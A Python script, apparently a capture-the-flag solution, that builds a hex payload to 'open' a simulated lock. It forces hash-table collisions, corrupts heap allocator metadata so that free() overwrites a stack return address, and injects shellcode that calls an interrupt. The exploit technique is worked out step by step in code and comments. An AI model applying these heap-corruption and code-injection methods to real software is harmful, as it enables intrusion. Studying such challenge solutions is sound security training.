203 lines
7.3 KiB
Python
203 lines
7.3 KiB
Python
import random
|
|
import string
|
|
|
|
|
|
def decode_malloc_status(word: str):
|
|
""" Decode a status word into the size and allocation value. """
|
|
assert(len(word) == 4)
|
|
i = int(word[2:4] + word[0:2], 16)
|
|
s = ''
|
|
if i & 1:
|
|
s += '[alloc] '
|
|
else:
|
|
s += '[free] '
|
|
|
|
i = (i >> 1)
|
|
s += f'[size {i:04x}]'
|
|
print(s)
|
|
|
|
|
|
def hash_user(user: str) -> str:
|
|
""" Takes a user string and runs it throug the hash function. """
|
|
r15 = 0
|
|
for i in range(len(user)):
|
|
r13 = ord(user[i])
|
|
r13 = (r13 + r15) & 0xffff
|
|
r15 = r13
|
|
r15 = (r15 + r15) & 0xffff
|
|
r15 = (r15 + r15) & 0xffff
|
|
r15 = (r15 + r15) & 0xffff
|
|
r15 = (r15 + r15) & 0xffff
|
|
r15 = (r15 + r15) & 0xffff
|
|
r15 = (r15 - r13) & 0xffff
|
|
return f"{r15:0{4}x}"
|
|
|
|
|
|
def user_to_hash_table_index(user: str) -> str:
|
|
""" Takes a user string, hashes it and computes the table offset. """
|
|
hash = int(hash_user(user), 16)
|
|
# hash &= 0x7 # 3 for initial hash table state
|
|
hash &= 0xf # 4 after one rehash (rehash increases the table size)
|
|
return f"{hash:0{4}x}"
|
|
|
|
|
|
def hash_pin(pin: str) -> str:
|
|
""" Function to hash a pin. Turns out this is not needed. """
|
|
r10 = 0
|
|
r12 = r10
|
|
for i in range(len(pin)):
|
|
r12 = r10
|
|
r12 = (r12 + r12) & 0xffff
|
|
r12 = (r12 + r12) & 0xffff
|
|
r12 = (r10 + r12) & 0xffff
|
|
r12 = (r12 + r12) & 0xffff
|
|
r10 = ord(pin[i])
|
|
r10 = (r10 + 0xffd0) & 0xffff
|
|
r10 = (r10 + r12) & 0xffff
|
|
# print(hex(r10), hex(r12), pin[i])
|
|
return f"{r10:0{4}x}"
|
|
|
|
|
|
def find_users_that_hash(number_users: int, hash_index: int):
|
|
""" Generates a number of random users that hash to the provided index.
|
|
|
|
Note: The hash index is only valid for a specific hash table size (3 or 4).
|
|
See user_to_hash_table_index to change that value.
|
|
"""
|
|
strings = []
|
|
while len(strings) < number_users:
|
|
user = generate_random_string(3)
|
|
index = user_to_hash_table_index(user)
|
|
if index == f"000{hash_index}":
|
|
s = f"new {user} 1337;"
|
|
strings.append(s)
|
|
r = "".join(strings)
|
|
return r
|
|
|
|
|
|
def transform_ascii_to_bytes(input_str: str) -> str:
|
|
""" Transform '123' into '313233'. """
|
|
return "".join([f'{ord(c):02x}' for c in input_str])
|
|
|
|
|
|
def transform_bytes_to_ascii(input_str: str) -> str:
|
|
""" Transform '313233' into '123'. """
|
|
r = ""
|
|
for i in range(0, len(input_str), 2):
|
|
s = input_str[i:i + 2]
|
|
r += chr(int(s, 16))
|
|
return r
|
|
|
|
|
|
def generate_random_string(n: int) -> str:
|
|
""" Generate a random string with n lowercase letters. """
|
|
letters = string.ascii_lowercase
|
|
return ''.join(random.choice(letters) for _ in range(n))
|
|
|
|
|
|
def create_deterministic_users():
|
|
""" Create users deterministically to poke around. """
|
|
print(";".join(["new " + 8 * c + " 1337" for c in 'abcdefghijklmn']))
|
|
|
|
|
|
def append_for_specific_hash(user: str, hash_index: int) -> str:
|
|
"""
|
|
This takes a certain user string and then appends a random string to put
|
|
the result into the hash table entry indicated by `hash_index`. This is
|
|
useful to allocate a payload at a specific offset.
|
|
"""
|
|
for _ in range(50):
|
|
potential_user = str(user) + generate_random_string(2)
|
|
index = user_to_hash_table_index(potential_user)
|
|
if index == f"000{hash_index}":
|
|
return potential_user
|
|
return f"XXX COULD NOT HASH {user} to {hash_index}! XXX"
|
|
|
|
|
|
def gen_first_override_block() -> str:
|
|
"""
|
|
Once the 0 table is filled up, we use this block to override the allocation
|
|
table. The main purpose is to set next to a block that is **not** the second
|
|
block. That is necessary because otherwise `free` would destroy our second
|
|
block via the reference here. I just found the values out "empirically".
|
|
"""
|
|
s = "6e657720" # "new "
|
|
prev = "8853" # prev
|
|
next = "a854" # next
|
|
status = "b510" # status
|
|
user = transform_bytes_to_ascii(prev + next + status)
|
|
user_with_postfix = append_for_specific_hash(user, 0) # allocate at index 0
|
|
s += transform_ascii_to_bytes(user_with_postfix)
|
|
s += "20313333373b" # " 1337;"
|
|
return s
|
|
|
|
|
|
def gen_second_override_block() -> str:
|
|
"""
|
|
This block contains one of the key insights. By setting prev to 0x3dca
|
|
which is allocated on the stack, we can make free write into the stack via
|
|
`status` (which is at 0x3dca + 4). By choosing status we can override the
|
|
return address from the `free` call to jump to our inserted shell code on
|
|
the heap.
|
|
"""
|
|
s = "6e657720" # "new "
|
|
prev = "ca3d" # prev (address on stack where we override return address)
|
|
next = "0855" # next
|
|
status = "c70b" # value that has to be added to return address to reach code injection address
|
|
# r12 at address where we can maniuplate it to return value: 49a8
|
|
# r12 will be written into 3dca + 4 which <free> uses as the return address
|
|
# Target address: 556e
|
|
# Required status value: 556e - 49a8 = bc6 -> c60b --[with alloc bit] -> c70b
|
|
user = transform_bytes_to_ascii(prev + next + status)
|
|
user_with_postfix = append_for_specific_hash(user, 1) # allocate at index 1
|
|
s += transform_ascii_to_bytes(user_with_postfix)
|
|
s += "20313333373b" # " 1337;"
|
|
return s
|
|
|
|
|
|
def gen_shellcode() -> str:
|
|
"""
|
|
This function generates the payload. We cannot push 0x007f directly
|
|
(because of the null byte), so instead, we add a longer value to r5 which
|
|
results in 0x7f and then push r5 before calling <INT>.
|
|
"""
|
|
s = "6e657720" # "new "
|
|
# This shell code is expected to be located at 556e
|
|
shellcode = "35503dad" # add #0xad3d, r5 ; will give us 0x7f in r5 (I just took whatever value was in r5 here)
|
|
shellcode += "0512" # push r5
|
|
shellcode += "b012ec4c" # call <INT> ; boom :)
|
|
user = transform_bytes_to_ascii(shellcode)
|
|
user_with_postfix = append_for_specific_hash(user, 5) # allocate at index 5 which matches address 556e
|
|
s += transform_ascii_to_bytes(user_with_postfix)
|
|
s += "20313333373b" # " 1337;"
|
|
return s
|
|
|
|
|
|
def main():
|
|
# create_deterministic_users()
|
|
# decode_malloc_status("1337")
|
|
|
|
print("Hex payload to open lock:")
|
|
random.seed(1) # easier debugging
|
|
s = transform_ascii_to_bytes(find_users_that_hash(5, 0)) # fill up index 0
|
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 1)) # fill up index 1
|
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 2)) # fill up index 2 (triggers rehash)
|
|
|
|
# After the rehash 0, 1, 2 are still at the same locations because we use
|
|
# 0xf in user_to_hash_table_index.
|
|
|
|
s += gen_first_override_block() # append override block at index 0 (overriding malloc control block)
|
|
s += gen_second_override_block() # append override block at index 1 (overriding malloc control block)
|
|
s += gen_shellcode() # insert shell code at index 2
|
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 3)) # trigger rehash by filling up index 3
|
|
|
|
# The second rehash will free the manipulated override block inserted via
|
|
# gen_second_override_block. When returning from free we jump the shellcode
|
|
# and open the lock. Note that gen_first_override_block is required so that
|
|
# free running on the first memory block doesn't override the second block.
|
|
print(s)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|